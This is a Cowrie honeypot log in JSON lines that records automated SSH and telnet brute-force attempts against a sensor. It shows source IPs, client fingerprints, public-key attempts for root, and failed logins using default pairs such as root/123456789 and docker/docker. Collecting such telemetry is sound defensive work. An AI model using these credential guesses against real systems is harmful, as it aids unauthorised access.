{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T07:08:30.908358Z","src_ip":"176.65.132.129","session":"da6b36759e2f","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"postgres","password":"123","message":"login attempt [postgres/123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T07:08:31.159000Z","src_ip":"176.65.132.129","session":"da6b36759e2f","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T07:08:32.334491Z","src_ip":"176.65.132.129","session":"da6b36759e2f","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"176.65.132.129","src_port":50058,"dst_ip":"159.203.135.109","dst_port":22,"session":"b3e7e8d7f9ec","protocol":"ssh","message":"New connection: 176.65.132.129:50058 (159.203.135.109:22) [session: b3e7e8d7f9ec]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T07:08:33.908325Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T07:08:33.912887Z","src_ip":"176.65.132.129","session":"b3e7e8d7f9ec","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T07:08:33.999327Z","src_ip":"176.65.132.129","session":"b3e7e8d7f9ec","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"123456789","message":"login attempt [root/123456789] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T07:08:34.299743Z","src_ip":"176.65.132.129","session":"b3e7e8d7f9ec","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"152.42.224.71","src_port":53024,"dst_ip":"10.17.0.5","dst_port":23,"session":"68f4ced413f7","protocol":"telnet","message":"New connection: 152.42.224.71:53024 (10.17.0.5:23) [session: 68f4ced413f7]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T07:08:35.354335Z"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T07:08:35.385976Z","src_ip":"176.65.132.129","session":"b3e7e8d7f9ec","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"152.42.224.71","src_port":53568,"dst_ip":"10.17.0.5","dst_port":23,"session":"1652a945cbb4","protocol":"telnet","message":"New connection: 152.42.224.71:53568 (10.17.0.5:23) [session: 1652a945cbb4]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T07:08:36.806520Z"}
{"eventid":"cowrie.session.connect","src_ip":"176.65.132.129","src_port":35122,"dst_ip":"159.203.135.109","dst_port":22,"session":"a29826f5a5bf","protocol":"ssh","message":"New connection: 176.65.132.129:35122 (159.203.135.109:22) [session: a29826f5a5bf]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T07:08:37.334008Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T07:08:37.338516Z","src_ip":"176.65.132.129","session":"a29826f5a5bf","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T07:08:37.424663Z","src_ip":"176.65.132.129","session":"a29826f5a5bf","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"docker","password":"docker","message":"login attempt [docker/docker] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T07:08:37.675199Z","src_ip":"176.65.132.129","session":"a29826f5a5bf","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"89.45.12.136","src_port":50374,"dst_ip":"10.17.0.5","dst_port":22,"session":"453ad22fc897","protocol":"ssh","message":"New connection: 89.45.12.136:50374 (10.17.0.5:22) [session: 453ad22fc897]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T07:08:38.425648Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh2_1.11.0","message":"Remote SSH version: SSH-2.0-libssh2_1.11.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T07:08:38.429998Z","src_ip":"89.45.12.136","session":"453ad22fc897","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"14b2ddda386a4d1006108ccd231b42fc","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group-exchange-sha256,diffie-hellman-group16-sha512,diffie-hellman-group18-sha512,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,diffie-hellman-group-exchange-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,rijndael-cbc@lysator.liu.se,aes192-cbc,aes128-cbc,blowfish-cbc,arcfour128,arcfour,cast128-cbc,3des-cbc;hmac-sha2-256,hmac-sha2-256-etm@openssh.com,hmac-sha2-512,hmac-sha2-512-etm@openssh.com,hmac-sha1,hmac-sha1-etm@openssh.com,hmac-sha1-96,hmac-md5,hmac-md5-96,hmac-ripemd160,hmac-ripemd160@openssh.com;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group-exchange-sha256","diffie-hellman-group16-sha512","diffie-hellman-group18-sha512","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","diffie-hellman-group-exchange-sha1","ext-info-c"],"keyAlgs":["ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519","ssh-ed25519-cert-v01@openssh.com","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-rsa-cert-v01@openssh.com","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","rijndael-cbc@lysator.liu.se","aes192-cbc","aes128-cbc","blowfish-cbc","arcfour128","arcfour","cast128-cbc","3des-cbc"],"macCS":["hmac-sha2-256","hmac-sha2-256-etm@openssh.com","hmac-sha2-512","hmac-sha2-512-etm@openssh.com","hmac-sha1","hmac-sha1-etm@openssh.com","hmac-sha1-96","hmac-md5","hmac-md5-96","hmac-ripemd160","hmac-ripemd160@openssh.com"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 14b2ddda386a4d1006108ccd231b42fc","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T07:08:38.564331Z","src_ip":"89.45.12.136","session":"453ad22fc897","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T07:08:38.760761Z","src_ip":"176.65.132.129","session":"a29826f5a5bf","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"c5:4a:2f:20:d9:d0:80:4c:f6:fe:99:ad:5d:07:8b:fa","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQCdIMx2Zu59gnWIfjsSOH2HrRSknymn1cUbCZAgXmSgWVBOvOJYpihJeA0tpsBWDXCwjPMSuYdDCMwsTG2TnrLdOk6yLDFkcUknKbyy5m7viHmoPzAGLkncFVbp2N5HAdioC4f9C0o/kT7kXZIOZNUZvymiv2FeUEyyRTpIzuj8rhv6Ao7FVVafvNkr7En8Em76YK7miod0LSGI46ZqRs6MPx3uesN789Lad4Oa4tOdBaEFQL4Uvqgg9Es4NU2ete5NtEIZrzL0W33+WqcvZ3Ha2BtZ6ixRChxU/zqD+5xjVEJ8UgePZ/yeUgN5L5fuK0pXwdGFWr1DvZsj/0ll2ATT","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint c5:4a:2f:20:d9:d0:80:4c:f6:fe:99:ad:5d:07:8b:fa","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T07:08:39.202726Z","src_ip":"89.45.12.136","session":"453ad22fc897","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"c5:4a:2f:20:d9:d0:80:4c:f6:fe:99:ad:5d:07:8b:fa","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQCdIMx2Zu59gnWIfjsSOH2HrRSknymn1cUbCZAgXmSgWVBOvOJYpihJeA0tpsBWDXCwjPMSuYdDCMwsTG2TnrLdOk6yLDFkcUknKbyy5m7viHmoPzAGLkncFVbp2N5HAdioC4f9C0o/kT7kXZIOZNUZvymiv2FeUEyyRTpIzuj8rhv6Ao7FVVafvNkr7En8Em76YK7miod0LSGI46ZqRs6MPx3uesN789Lad4Oa4tOdBaEFQL4Uvqgg9Es4NU2ete5NtEIZrzL0W33+WqcvZ3Ha2BtZ6ixRChxU/zqD+5xjVEJ8UgePZ/yeUgN5L5fuK0pXwdGFWr1DvZsj/0ll2ATT","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T07:08:39.206819Z","src_ip":"89.45.12.136","session":"453ad22fc897","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"dd:c8:71:03:55:c7:8d:f6:23:16:04:b5:f7:b3:4b:99","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAACAQCi75fo1pv0EyIdoewZfSIjnV/HnRdRhBpvvefeuRRDYRwB9RVR/jFjACv/VQlM6P3OJDyNEAko6WlMDKYmbdZYb2/pUO0O3mFWHXBN/qcgsroyA/jvZbEUZqhijJCJql88ydbTHAyGyQ9cNZPLw30y71WR0v/yYoB5GB9Se0VGXiLaxyP2ZsQgRXFbc/5vYWg8CnVCp2cmZwF68PhiJ4cpLLzeU7UgT2xP7Q9fkqAO2F9yWc6cYpVUpS82i6h/aJPFZ5RJUy1s8MsydCVpgyXmXNOfm7gOxQks4OjuAP5Pd3FJIxqQaIGw3+Z9qmMsZwKId0eMxyHEhTQtMPxnCffiKNGg1il9DcQjAUzTz8KxCl/lUxy5eu64ERHh0xb33wTyRTCa5I+eBrYMpbnbvpkTk8jEhJXB3/bobB3jFRefvAR9NLYiRQYmKT/Be+i2iyd9UsJE65tBzuyN6CEkAmX9hrwA/KZTBtvs45c1mak0/UvB/DeOsUdXLlmhi0A0wh3K/9+WmNE/vvbOg37b4+uQTjyWGadz46xX4iXuZaJ0eKMbJZsUwnQ3+YQ9eCaMVWRSxk3bwShPaffoyKoM4Yn+0HK1p7piBJPtd2kvLkWMegSdL2BnID9HnFTiK0wlh83j9JzT8IvnelfpNhPKCYvvSSPr+nnM84mxBA+optZ7vw==","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint dd:c8:71:03:55:c7:8d:f6:23:16:04:b5:f7:b3:4b:99","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T07:08:39.339758Z","src_ip":"89.45.12.136","session":"453ad22fc897","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"dd:c8:71:03:55:c7:8d:f6:23:16:04:b5:f7:b3:4b:99","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAACAQCi75fo1pv0EyIdoewZfSIjnV/HnRdRhBpvvefeuRRDYRwB9RVR/jFjACv/VQlM6P3OJDyNEAko6WlMDKYmbdZYb2/pUO0O3mFWHXBN/qcgsroyA/jvZbEUZqhijJCJql88ydbTHAyGyQ9cNZPLw30y71WR0v/yYoB5GB9Se0VGXiLaxyP2ZsQgRXFbc/5vYWg8CnVCp2cmZwF68PhiJ4cpLLzeU7UgT2xP7Q9fkqAO2F9yWc6cYpVUpS82i6h/aJPFZ5RJUy1s8MsydCVpgyXmXNOfm7gOxQks4OjuAP5Pd3FJIxqQaIGw3+Z9qmMsZwKId0eMxyHEhTQtMPxnCffiKNGg1il9DcQjAUzTz8KxCl/lUxy5eu64ERHh0xb33wTyRTCa5I+eBrYMpbnbvpkTk8jEhJXB3/bobB3jFRefvAR9NLYiRQYmKT/Be+i2iyd9UsJE65tBzuyN6CEkAmX9hrwA/KZTBtvs45c1mak0/UvB/DeOsUdXLlmhi0A0wh3K/9+WmNE/vvbOg37b4+uQTjyWGadz46xX4iXuZaJ0eKMbJZsUwnQ3+YQ9eCaMVWRSxk3bwShPaffoyKoM4Yn+0HK1p7piBJPtd2kvLkWMegSdL2BnID9HnFTiK0wlh83j9JzT8IvnelfpNhPKCYvvSSPr+nnM84mxBA+optZ7vw==","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T07:08:39.345912Z","src_ip":"89.45.12.136","session":"453ad22fc897","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"3a:11:74:d0:8b:a8:7f:4b:81:ac:f0:ea:14:5a:83:e8","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAACAQCwjrjWnlNN/Frp+704rYyoEq+5x2b1+oL3I5Pa5Indfi3jj7b0yUj3GjT+/9+L87NXkFSdccOZ2Zp3dVjlyLGXMT7tLVBhFp0cHVsnCJ90To8AujjlX5p560FdjMQA0u01PUzEzfdcWp/8VLks3HnfUfRLLcF6Qmi8ru8Imwf6QlAlOc3rOCAC/KEC/GBm8F0xq22OI59ckFPtZYWYlTo0UnB0Urz2busgsoG7CHhovILKox62Xfs9a3u8C9J1NudId599rZhFWoriBvLqlbPTIyg5XflVgWhvQzkXi0u3VWOqwjy34FCr5HpnS/a47wMMyexJwiOhRNWqZOapDCSXmtpDF2iHKCdy/SVKcVj6/5gHJT1gukZ488tivlQ6EAX1yCSzXwZPbnbhZ4YwQrPKPy/CGrb+Kdl+c1o4jemtEIeOzHELeZVBii+jpQ0Ws5KMQkcoy1y1xvrNbpUt2kdUEBOqb/I/COuYeuZXC6ANkES7e88nSKCKs44+dEO02lzHzhbkvaOdlY8s8MEVC9qTVnSMOAVP4S5hYcKoX+zrWeCA/sZpZfYSKhqkI6JU2ZinHp/vLtZTWyGcgImv/3xquydtaCX8NipZLtjjFbK8RCUrGoKGAG7l2dhwQNhszzQc9UapZ8gRJRBWTqlGOK1O8lYgqv7i+K91b0IyhGzH5Q==","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint 3a:11:74:d0:8b:a8:7f:4b:81:ac:f0:ea:14:5a:83:e8","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T07:08:39.478568Z","src_ip":"89.45.12.136","session":"453ad22fc897","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"3a:11:74:d0:8b:a8:7f:4b:81:ac:f0:ea:14:5a:83:e8","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAACAQCwjrjWnlNN/Frp+704rYyoEq+5x2b1+oL3I5Pa5Indfi3jj7b0yUj3GjT+/9+L87NXkFSdccOZ2Zp3dVjlyLGXMT7tLVBhFp0cHVsnCJ90To8AujjlX5p560FdjMQA0u01PUzEzfdcWp/8VLks3HnfUfRLLcF6Qmi8ru8Imwf6QlAlOc3rOCAC/KEC/GBm8F0xq22OI59ckFPtZYWYlTo0UnB0Urz2busgsoG7CHhovILKox62Xfs9a3u8C9J1NudId599rZhFWoriBvLqlbPTIyg5XflVgWhvQzkXi0u3VWOqwjy34FCr5HpnS/a47wMMyexJwiOhRNWqZOapDCSXmtpDF2iHKCdy/SVKcVj6/5gHJT1gukZ488tivlQ6EAX1yCSzXwZPbnbhZ4YwQrPKPy/CGrb+Kdl+c1o4jemtEIeOzHELeZVBii+jpQ0Ws5KMQkcoy1y1xvrNbpUt2kdUEBOqb/I/COuYeuZXC6ANkES7e88nSKCKs44+dEO02lzHzhbkvaOdlY8s8MEVC9qTVnSMOAVP4S5hYcKoX+zrWeCA/sZpZfYSKhqkI6JU2ZinHp/vLtZTWyGcgImv/3xquydtaCX8NipZLtjjFbK8RCUrGoKGAG7l2dhwQNhszzQc9UapZ8gRJRBWTqlGOK1O8lYgqv7i+K91b0IyhGzH5Q==","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T07:08:39.481640Z","src_ip":"89.45.12.136","session":"453ad22fc897","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"9e:1a:62:bf:a1:17:81:f9:de:c7:59:71:09:81:bf:ed","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQDJK5Wis+fDGCvYmuqVp96DWEdETSUZQe8tjL57+WIDsYR/1h99riLcFF7IxLhwo/ai5y3JEPtciNiTfCiEqmTF8vnrcnah322f7X+CdPCOkE8fYP1MASZztQDlM+ABg21/QJuSyhyPNpiwVeRSGAFwSFesreUPIyWGRFXPr9Yu+J1apxaPMbht2Sb7I4UzTKNImnPVVD4vL3ovgwDtH6SIu6zIQu1RpgtoPi6EQ7HW3cAYNm7X0qwWD6SJmK9XrO4rJXoPlVa+TkPWG5KfukNl5Fh+0b7w03L0tRlXe80SQzL4UajW2qjkkQCuFVAVj7T6KIqyOHkMc33P1xO4wjRz","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint 9e:1a:62:bf:a1:17:81:f9:de:c7:59:71:09:81:bf:ed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T07:08:39.613145Z","src_ip":"89.45.12.136","session":"453ad22fc897","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"9e:1a:62:bf:a1:17:81:f9:de:c7:59:71:09:81:bf:ed","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQDJK5Wis+fDGCvYmuqVp96DWEdETSUZQe8tjL57+WIDsYR/1h99riLcFF7IxLhwo/ai5y3JEPtciNiTfCiEqmTF8vnrcnah322f7X+CdPCOkE8fYP1MASZztQDlM+ABg21/QJuSyhyPNpiwVeRSGAFwSFesreUPIyWGRFXPr9Yu+J1apxaPMbht2Sb7I4UzTKNImnPVVD4vL3ovgwDtH6SIu6zIQu1RpgtoPi6EQ7HW3cAYNm7X0qwWD6SJmK9XrO4rJXoPlVa+TkPWG5KfukNl5Fh+0b7w03L0tRlXe80SQzL4UajW2qjkkQCuFVAVj7T6KIqyOHkMc33P1xO4wjRz","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T07:08:39.616900Z","src_ip":"89.45.12.136","session":"453ad22fc897","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"da:0f:5a:71:67:0e:be:a1:6d:b7:cf:fb:4c:d1:59:ea","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQDKke2W/Dj8WX9jwj5ojimNVMSkn/Si9ihageVaMMlHQ6/UmX4kF1XKfssJq95K2+DMxAMZV8C/QCkrNhWBps7AWxWgIbwSxadAsHWGB39LaUOHtyq5p3oINgcafkGEBC0GOF4GcaOWSz1pm8x3NpoyadrBd5miIUZTIfVXlUK1HQdeQFpCjY7UVbTqn13d+FeMEZ13f2lNQY7jq00rmU/+obAmkbK8Tp6PJSerjZqk+TSkl3hfC7aTE+hq40kJnw3pS4x6aXQsdh+B2pEVYP9iZYeHcilG0nrLNTmfAk54qz8n8dhjR39PVcaSa7mo2uTNucUHD7QRohXBfqCZVJWF","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint da:0f:5a:71:67:0e:be:a1:6d:b7:cf:fb:4c:d1:59:ea","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T07:08:39.749079Z","src_ip":"89.45.12.136","session":"453ad22fc897","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"da:0f:5a:71:67:0e:be:a1:6d:b7:cf:fb:4c:d1:59:ea","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQDKke2W/Dj8WX9jwj5ojimNVMSkn/Si9ihageVaMMlHQ6/UmX4kF1XKfssJq95K2+DMxAMZV8C/QCkrNhWBps7AWxWgIbwSxadAsHWGB39LaUOHtyq5p3oINgcafkGEBC0GOF4GcaOWSz1pm8x3NpoyadrBd5miIUZTIfVXlUK1HQdeQFpCjY7UVbTqn13d+FeMEZ13f2lNQY7jq00rmU/+obAmkbK8Tp6PJSerjZqk+TSkl3hfC7aTE+hq40kJnw3pS4x6aXQsdh+B2pEVYP9iZYeHcilG0nrLNTmfAk54qz8n8dhjR39PVcaSa7mo2uTNucUHD7QRohXBfqCZVJWF","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T07:08:39.752735Z","src_ip":"89.45.12.136","session":"453ad22fc897","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T07:08:39.885643Z","src_ip":"89.45.12.136","session":"453ad22fc897","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"176.65.132.129","src_port":35126,"dst_ip":"159.203.135.109","dst_port":22,"session":"99d030cce2f7","protocol":"ssh","message":"New connection: 176.65.132.129:35126 (159.203.135.109:22) [session: 99d030cce2f7]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T07:08:40.629511Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T07:08:40.730400Z","src_ip":"176.65.132.129","session":"99d030cce2f7","protocol":"ssh"}
